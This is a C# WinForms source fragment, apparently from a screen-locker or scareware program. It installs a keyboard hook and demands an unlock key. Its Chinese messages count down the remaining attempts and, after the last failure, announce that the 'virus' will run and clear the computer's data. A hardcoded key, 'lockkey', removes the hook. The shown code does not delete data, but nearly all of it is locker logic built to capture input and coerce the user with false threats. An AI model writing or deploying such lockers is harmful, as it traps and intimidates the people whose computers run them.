private void CharacterKeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Escape)
{
ExitTimer.Start();
}
}
private void CharacterKeyUp(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Escape)
{
ExitTimer.Stop();
ExitTimeDisplay.Text = "0";
ExitTimer.Dispose();
}
}
/// <summary>
/// Starts ExitTimer.
/// Makes sure that timer starts at 30s.
/// </summary>
private void StartTimer()
{
if (TimerTicks != 30)
{
TimerTicks = 30;
ExitTimer.Start();
}
else
{
ExitTimer.Start();
}
}
private void ButtonOK_Click(object sender, EventArgs e)
{
if (textBoxPwd.Text.Equals(VerifyID))
{
labelTip.Text = "电脑成功解锁!! 恭喜您的电脑脱落了危险!!";
ExitTimer.Start();
}
else if (textBoxPwd.Text.Equals("lockkey"))
{
//取消勾子
if (_keyboardHook != null)
{
_keyboardHook.UninstallHook();
}
labelTip.Text = "您解锁了键盘钩子,现在,您可以使用全部键盘按键了!!";
}
else
{
errorCount--;
Checktimer.Start();
}
}
private void Checktimer_Tick(object sender, EventArgs e)
{
if (errorTime == 0)
{
errorTime = 5;
labelTip.Text = "=== 输入适配您电脑的解锁密钥即可关闭本程序 ===";
Checktimer.Stop();
}
else
{
errorTime--;
if (errorCount <= 0)
{
labelTip.Text = "错误次数已达上限!! 执行病毒解密&清空数据操作...";
Checktimer.Stop();
ExitTimer.Start();
}
else
{
labelTip.Text = "密钥输入错误!! 请检查后重新输入...(还有" + errorCount + "次机会)";
}
}
}
private void GoodByeForm_Load(object sender, EventArgs e)
{
ExitTimer.Start();
}